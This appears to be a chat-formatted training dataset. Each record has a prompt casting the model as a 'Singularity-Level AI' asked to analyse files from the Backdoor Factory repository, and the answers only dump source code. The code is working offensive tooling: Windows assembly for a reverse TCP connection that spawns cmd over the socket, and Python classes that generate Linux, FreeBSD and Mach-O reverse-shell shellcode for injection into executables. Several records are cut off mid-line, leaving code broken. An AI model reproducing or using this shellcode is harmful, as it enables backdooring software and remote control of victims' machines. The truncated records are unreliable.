jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4\n self.shellcode1 += (struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: asm/build.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#=============================================================================#\n# A simple python build script to build the singles/stages/stagers and\n# some usefull information such as offsets and a hex dump. The binary output\n# will be placed in the bin directory. A hex string and usefull comments will\n# be printed to screen.\n#\n# Example:\n# >python build.py stager_reverse_tcp_nx\n#\n# Example, to build everything:\n# >python build.py all > build_output.txt\n#\n# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)\n#=============================================================================#\nimport os, sys, time\nfrom subprocess import Popen\nfrom struct import pack\n#=============================================================================#\ndef clean( dir=\"./bin/\" ):\n\tfor root, dirs, files in os.walk( dir ):\n\t\tfor name in files:\n\t\t\tos.remove( os.path.join( root, name ) )\n#=============================================================================#\ndef locate( src_file, dir=\"./src/\" ):\n\tfor root, dirs, files in os.walk( dir ):\n\t\tfor name in files:\n\t\t\tif src_file == name:\n\t\t\t\treturn root\n\treturn None\n\n#=============================================================================#\ndef build( name ):\n\tlocation = locate( \"%s.asm\" % name )\n\tif location:\n\t\tinput = os.path.normpath( os.path.join( location, name ) )\n\t\toutput = os.path.normpath( os.path.join( \"./bin/\", name ) )\n\t\tp = Popen( [\"nasm\", \"-f bin\", \"-O3\", \"-o %s.bin\" % output, \"%s.asm\" % input ] )\n\t\tp.wait()\n\t\txmit( name )\n\telse:\n\t\tprint \"[-] Unable to locate '%s.asm' in the src directory\" % name\n\n#=============================================================================#\ndef xmit_dump_ruby( data, length=16 ):\n\tdump = \"\"\n\tfor i in xrange( 0, len( data ), length ):\n\t\tbytes = data[ i : i+length ]\n\t\thex = \"\\\"%s\\\"\" % ( ''.join( [ \"\\\\x%02X\" % ord(x) for x in bytes ] ) )\n\t\tif i+length <= len(data):\n\t\t\thex += \" +\"\n\t\tdump += \"%s\\n\" % ( hex )\n\tprint dump\n\n#=============================================================================#\ndef xmit_offset( data, name, value, match_offset=0 ):\n\toffset = data.find( value );\n\tif offset != -1:\n\t\tprint \"# %s Offset: %d\" % ( name, offset + match_offset )\n\n#=============================================================================#\ndef xmit( name, dump_ruby=True ):\n\tbin = os.path.normpath( os.path.join( \"./bin/\", \"%s.bin\" % name ) )\n\tf = open( bin, 'rb')\n\tdata = f.read()\n\tprint \"# Name: %s\\n# Length: %d bytes\" % ( name, len( data ) )\n\txmit_offset( data, \"Port\", pack( \">H\", 4444 ) ) # 4444\n\txmit_offset( data, \"LEPort\", pack( \"L\", 0x7F000001 ) ) # 127.0.0.1\n\txmit_offset( data, \"IPv6Host\", pack( \"H\", 0x1122 ) ) # Egg tag size\n\txmit_offset( data, \"RC4Key\", \"RC4KeyMetasploit\") # RC4 key\n\txmit_offset( data, \"XORKey\", \"XORK\") # XOR key\n\tif( name.find( \"egghunter\" ) >= 0 ):\n\t\tnull_count = data.count( \"\\x00\" )\n\t\tif( null_count > 0 ):\n\t\t\tprint \"# Note: %d NULL bytes found.\" % ( null_count )\n\tif dump_ruby:\n\t\txmit_dump_ruby( data )\n\n#=============================================================================#\ndef main( argv=None ):\n\tif not argv:\n\t\targv = sys.argv\n\ttry:\n\t\tif len( argv ) == 1:\n\t\t\tprint \"Usage: build.py [clean|all|]\"\n\t\telse:\n\t\t\tprint \"# Built on %s\\n\" % ( time.asctime( time.localtime() ) )\n\t\t\tif argv[1] == \"clean\":\n\t\t\t\tclean()\n\t\t\telif argv[1] == \"all\":\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/egghunter/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/migrate/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/single/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/stage/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/stager/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\t\tfor root, dirs, files in os.walk( \"./src/kernel/\" ):\n\t\t\t\t\tfor name in files:\n\t\t\t\t\t\tbuild( name[:-4] )\n\t\t\telse:\n\t\t\t\tbuild( argv[1] )\n\texcept Exception, e:\n\t\tprint \"[-] \", e\n#=============================================================================#\nif __name__ == \"__main__\":\n main()\n#=============================================================================#\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: asm/src/loadliba_reverse_tcp.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;-----------------------------------------------------------------------------;\n; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (24 July 2009)\n; Updated by: Joshua Pitts (May 30 2014) for loadliba shellcode\n;-----------------------------------------------------------------------------;\n[BITS 32]\n\n\n; ebx location of LoadLibraryA\n; ecx location of GetProcAddress\n\n\nreverse_tcp:\n push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.\n push 0x5F327377 ; ...\n push esp ; Push a pointer to the \"ws2_32\" string on the stack.\n xchg esi,ecx ; mov getprocaddress to esi loadlibA smashing ecx\n call dword [ebx]\n\n push 0x00007075 ; Push the bytes 'WSAStartup' onto the stack\n push 0x74726174 ; ...\n push 0x53415357 ; ...\n push ESP ; Push a pointer to the 'WSAStartup' string on the stack\n push EAX ; handle to ws2_32\n xchg edi,EAX ; move ws2_32 handle to edi for future use\n call dword [esi] ; GetProcAddress(ws2_32, WSAStartup)\n xchg ebp, EAX ; mov wsastartup addr to ebp\n\n mov eax, 0x0190 ; EAX = sizeof( struct WSAData )\n sub esp, eax ; alloc some space for the WSAData structure\n push esp ; push a pointer to this stuct\n push eax ; push the wVersionRequested parameter\n call ebp ; WSAStartup( 0x0190, &WSAData );\n ;eax should be zero on great success\n \n ;Need to get WSASocketA address\n push 0x00004174 ; Push WSASocketA\n push 0x656b636f ; ...\n push 0x53415357 ; ...\n push ESP ; Push a pointer to WSASocketA\n push EDI ; Push the handle for ws2_32\n call dword [esi] ; GetProcAddress(ws2_32, WSASocketA)\n\n xchg ebp, eax ; Move WSASocketA address to EBP\n xor eax, eax ; zero out eax \n push eax ; Push zero for the flags param.\n push eax ; push null for reserved parameter\n push eax ; we do not specify a WSAPROTOCOL_INFO structure\n push eax ; we do not specify a protocol\n inc eax ;\n push eax ; push SOCK_STREAM\n inc eax ;\n push eax ; push AF_INET\n ;push 0xE0DF0FEA ; hash( \"ws2_32.dll\", \"WSASocketA\" )\n call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\n xchg ebp, eax ; save the socket for later, don't care about the value of eax after this\n\n;Good to here\n; Need 'connect' address\n; Calling getproc address smashes the following regs: EAX, ECX, EDX, ESP\n push 0x00746365 ; Push 'connect'\n push 0x6e6e6f63 ; ...\n push esp ; Push pointer to 'connect'\n push edi ; Push handle for ws2_32\n call dword [esi] ; GetProcAddress(ws2_32, connect)\n xchg ecx, ebp ; Put socket in ecx\n xchg ebp, eax ; put address for connect in ebp\n\nset_address:\n push byte 0x05 ; retry counter\n push 0x0100007F ; host 127.0.0.1\n push 0x5C110002 ; family AF_INET and port 4444\n mov edx, esp ; save pointer to sockaddr struct\n \ntry_connect:\n push byte 16 ; length of the sockaddr struct\n push edx ; pointer to the sockaddr struct\n push ecx ; the socket\n ;push 0x6174A599 ; hash( \"ws2_32.dll\", \"connect\" )\n xchg edi, ecx ; move socket to edi\n call ebp ; connect( s, &sockaddr, 16 );\n\n test eax,eax ; non-zero means a failure\n \n jz short connected\n\n;handle_failure:\n; dec dword [edx+8]\n; jnz short try_connect\n\nfailure:\n; LoadLibA is in EBX and GetProcAddress is in ESI\n; socket is in EDI MUST BE GOING OUT\n; No need to exit.\n;kernel32.dll!ExitProcess\n ;push 0x0\n ;push 0x32336c65 ; Push kernel32 on the stack\n ;push 0x6e72656b ; ...\n ;push esp ; Push a pointer to the \"kernel32\" string on the ;stack.\n ;call dword [ebx] ; handle for kernel32 now in eax\n ;xchg eax, ebx ; handle now in ebx\n;\n ;\n ;push 0x00737365 ; ExitProcess\n ;push 0x636f7250 ; ...\n ;push 0x74697845 ; ...\n ;push esp ; Push pointer to ExitThread on stack\n ;push ebx ; Push kernel32 handle on stack\n ;call dword [esi] ; getprocaddr(Kernel32.dll, ExitThread)\n;\n ;push 0\n ;call eax\n\nconnected:\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: asm/src/loadliba_shell.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;-----------------------------------------------------------------------------;\n; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (24 July 2009)\n; Updated by Joshua Pitts (5/30/2014) for loadliba shellcode dev\n;-----------------------------------------------------------------------------;\n[BITS 32]\n\n; Output: None.\n; Clobbers: EAX, EBX, ECX, ESI, ESP will also be modified\n; Calling getprocaddress and loadlibraryA smashes the following regs: EAX, ECX, EDX, ESP\n; Coming in LoadLibA is in EBX and GetprocAddress is in ESI\n; socket is in EDI coming in\n\n;Do a loadlibA of kernel32\n;then getprocaddress of 'CreateProcessA'\n push 0x0\n push 0x32336c65 ; Push kernel32 on the stack\n push 0x6e72656b ; ...\n push esp ; Push a pointer to the \"kernel32\" string on the stack.\n call dword [ebx] ; handle for kernel32 now in eax\n\n push 0x00004173 ; Push CreateProcessA on the stack\n push 0x7365636f ; ...\n push 0x72506574 ; ...\n push 0x61657243 ; ...\n push esp ; Push a pointer to CreateProcessA string on the stack\n push eax ; Push handle for kernel32 on the stack\n call dword [esi] ; Call getprocaddress | CreateProcessA address in EAX\n\n xchg ebp, eax ; Put createprocessa in ebp\n\n; loadlibA EBX, GetprocAddr ESI, CreateProcessA in EBP, socket handle in EDI\n; SHELLGAME TIME!!!\n; in this block the following are clobbered ebx,\n; Not clobbered ebp, eax, esi\n\n xchg eax, ebx ; xchg loadlibA to eax\n\nshell:\n push 0x00646D63 ; push our command line: 'cmd',0\n mov ebx, esp ; save a pointer to the command line\n push edi ; our socket becomes the shells hStdError\n push edi ; our socket becomes the shells hStdOutput\n push edi ; our socket becomes the shells hStdInput\n\n; loadLibA EAX, getprocaddr esi, createprocessA ebp\n; This block clobbered: ecx, esi\n; Not clobbered, edx ebp, ebx, edi,\n\n xchg edi, esi ; xchg (move) getprocaddr to edi\n xchg edx, eax ; xchg (move) loadlibA to edx\n xor esi, esi ; Clear ESI for all the NULL's we need to push\n push byte 18 ; We want to place (18 * 4) = 72 null bytes onto the stack\n pop ecx ; Set ECX for the loop\n\n; loadLibA edx, getprocaddr edi, createprocessA ebp\n; in this block the following are clobbered esi, eax, ecx, esp (loop)\n;unclobbered edx, ebp, edi, ebx\n\npush_loop: ;\n push esi ; push a null dword\n loop push_loop ; keep looping untill we have pushed enough nulls\n mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW\n lea eax, [esp + 16] ; Set EAX as a pointer to our STARTUPINFO Structure\n mov byte [eax], 68 ; Set the size of the STARTUPINFO Structure\n \n; loadLibA edx, getprocaddr edi, createprocessA ebp\n; in this block the following are clobbered esi, eax, esp (loop), ebx\n; unclobbered edx, ebp, edi, ecx\n; Calling getprocaddress and loadlibraryA smashes the following regs: EAX, ECX, EDX, ESP\n; perform the call to CreateProcessA\n push esp ; Push the pointer to the PROCESS_INFORMATION Structure \n push eax ; Push the pointer to the STARTUPINFO Structure\n push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent\n push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent\n push esi ; We dont specify any dwCreationFlags \n inc esi ; Increment ESI to be one\n push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent\n dec esi ; Decrement ESI back down to zero\n push esi ; Set lpThreadAttributes to NULL\n push esi ; Set lpProcessAttributes to NULL\n push ebx ; Set the lpCommandLine to point to \"cmd\",0\n push esi ; Set lpApplicationName to NULL as we are using the command line param instead\n xchg ebx, edx ; xchg (move) LoadLibA to ebx \n call ebp ; CreateProcessA( 0, &\"cmd\", 0, 0, TRUE, 0, 0, 0, &si, &pi );\n mov esi, esp ; save pointer to the PROCESS_INFORMATION Structure \n \n ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi\n\n ; need kernel32 again :/\n push 0x0\n push 0x32336c65 ; Push kernel32 on the stack\n push 0x6e72656b ; ...\n push esp ; Push a pointer to the \"kernel32\" string on the stack.\n call dword [ebx] ; handle for kernel32 now in eax\n \n ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi, kernel32 eax\n ; getprocaddress of 'WaitForSingleObject'\n push 0x00746365 ; Push WaitForSingleObject\n push 0x6a624f65 ; ...\n push 0x6c676e69 ; ...\n push 0x53726f46 ; ... \n push 0x74696157 ; ...\n push esp ; Push pointer for WaitForSingleObject\n push eax ; Push handle for kernel32\n xchg eax, ebp ; mov kernel32 to ebp\n call dword [edi] ; GetprocAddress (kernel32, WaitForSingleObject)\n xchg ebp, eax ; Push waitforsingleobject address in ebp and kernel32 to eax\n \n ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi, kernel32 eax, waitforsingleobject ebp\n ; perform the call to WaitForSingleObject\n mov edx, esi ; mov PROCESS_INFORMATION Structure to edx\n xor esi, esi ; zero out esi\n dec esi ; Decrement ESI down to -1 (INFINITE)\n push esi ; push INFINITE inorder to wait forever ; you can NOP this out for BDF\n ;nop\n inc esi ; Increment ESI back to zero\n mov esp, edx \n push dword [edx] ; push the handle from our PROCESS_INFORMATION.hProcess\n xchg eax, esi ; mov kernel32 to esi for safety\n call ebp ; WaitForSingleObject( pi.hProcess, INFINITE );\n;loadLiba ebx, getprocaddr edi, kernel32 esi\n add esp, 0x0234 ; Realign Stack\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: asm/src/loadliba_single_shell_reverse_tcp.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;-----------------------------------------------------------------------------;\n; Author: Joshua Pitts @midnite_runr\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (28 July 2009)\n; Size: 283 bytes\n; Build: >build.py loadliba_single_shell_reverse_tcp\n; Does not include code from BDF python intel/Winintel32.py for ASLR bypass and \n; LoadLibraryA and GetProcAddress api call assignment.\n;-----------------------------------------------------------------------------;\n[BITS 32]\n[ORG 0]\n\n \n%include \"./src/loadliba_reverse_tcp.asm\"\n\n%include \"./src/loadliba_shell.asm\"\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/FreeBSDIntelELF32.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\n\n\nclass freebsd_elfI32_shellcode():\n \"\"\"\n FreeBSDELF Intel x32 shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):\n #could take this out HOST/PORT and put into each shellcode function\n self.HOST = HOST\n self.PORT = PORT\n self.e_entry = e_entry\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.shellcode = \"\"\n\n def pack_ip_addresses(self):\n hostocts = []\n if self.HOST is None:\n print \"This shellcode requires a HOST parameter -H\"\n return False\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def reverse_shell_tcp(self, CavesPicked={}):\n \"\"\"\n Modified metasploit payload/bsd/x86/shell_reverse_tcp\n to correctly fork the shellcode payload and contiue normal execution.\n \"\"\"\n if self.PORT is None:\n print (\"Must provide port\")\n return False\n\n self.shellcode1 = \"\\x52\" # push edx\n self.shellcode1 += \"\\x31\\xC0\" # xor eax, eax\n self.shellcode1 += \"\\xB0\\x02\" # mov al, 2\n self.shellcode1 += \"\\xCD\\x80\" # int 80\n self.shellcode1 += \"\\x5A\" # pop edx\n self.shellcode1 += \"\\x85\\xc0\\x74\\x07\"\n self.shellcode1 += \"\\xbd\"\n #JMP to e_entry\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/LinuxIntelELF32.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\n\n\nclass linux_elfI32_shellcode():\n \"\"\"\n Linux ELFIntel x32 shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):\n #could take this out HOST/PORT and put into each shellcode function\n self.HOST = HOST\n self.PORT = PORT\n self.e_entry = e_entry\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.shellcode = \"\"\n\n def pack_ip_addresses(self):\n hostocts = []\n if self.HOST is None:\n print \"This shellcode requires a HOST parameter -H\"\n return False\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def reverse_shell_tcp(self, CavesPicked={}):\n \"\"\"\n Modified from metasploit payload/linux/x86/shell_reverse_tcp\n to correctly fork the shellcode payload and contiue normal execution.\n \"\"\"\n if self.PORT is None:\n print (\"Must provide port\")\n return False\n\n self.shellcode1 = \"\\x6a\\x02\\x58\\xcd\\x80\\x85\\xc0\\x74\\x07\"\n #will need to put resume execution shellcode here\n self.shellcode1 += \"\\xbd\"\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/LinuxIntelELF64.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\nimport sys\n\n\nclass linux_elfI64_shellcode():\n \"\"\"\n ELF Intel x64 shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):\n #could take this out HOST/PORT and put into each shellcode function\n self.HOST = HOST\n self.PORT = PORT\n self.e_entry = e_entry\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.shellcode = \"\"\n\n def pack_ip_addresses(self):\n hostocts = []\n if self.HOST is None:\n print \"This shellcode requires a HOST parameter -H\"\n return False\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def reverse_shell_tcp(self, flItms, CavesPicked={}):\n \"\"\"\n Modified from metasploit payload/linux/x64/shell_reverse_tcp\n to correctly fork the shellcode payload and continue normal execution.\n \"\"\"\n\n if self.PORT is None:\n print (\"Must provide port\")\n return False\n\n #64bit shellcode\n self.shellcode1 = \"\\x6a\\x39\\x58\\x0f\\x05\\x48\\x85\\xc0\\x74\\x0c\"\n self.shellcode1 += \"\\x48\\xBD\"\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/MachoIntel32.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\n\n\nclass macho_intel32_shellcode():\n \"\"\"\n Mach-O Intel x32 shellcode class\n \"\"\"\n\n def __init__(self, HOST='127.0.0.1', PORT=8080, jumpLocation=0x0, SUPPLIED_SHELLCODE=None, BEACON=15):\n self.HOST = HOST\n self.PORT = PORT\n self.jumpLocation = jumpLocation\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.BEACON = BEACON\n self.shellcode = \"\"\n\n def pack_ip_addresses(self):\n hostocts = []\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def delay_reverse_shell_tcp(self):\n #Modified from metasploit\n if self.PORT is None:\n print (\"Must provide port\")\n return False\n if self.HOST is None:\n print (\"This payload requires a HOST parameter -H\")\n return False\n\n self.shellcode2 = \"\\xB8\\x74\\x00\\x00\\x02\\xcd\\x80\" # put system time in eax\n self.shellcode2 += \"\\x05\" # add eax, 15 for seconds\n self.shellcode2 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += (\"\\x89\\xe7\\x31\\xc0\\x50\"\n \"\\x6a\\x01\\x6a\\x02\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x62\"\n \"\\x58\\xcd\\x80\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\\x4f\\xe8\\x79\\xf6\\x68\"\n \"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x54\\x53\"\n \"\\x50\\xb0\\x3b\\xcd\\x80\"\n )\n\n self.shellcode1 = (\"\\xB8\\x02\\x00\\x00\\x02\\xcd\\x80\\x85\\xd2\")\n self.shellcode1 += \"\\x0f\\x84\"\n if self.jumpLocation < 0:\n self.shellcode1 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += (\"\\x89\\xe7\\x31\\xc0\\x50\"\n \"\\x6a\\x01\\x6a\\x02\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x62\"\n \"\\x58\\xcd\\x80\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\\x4f\\xe8\\x79\\xf6\\x68\"\n 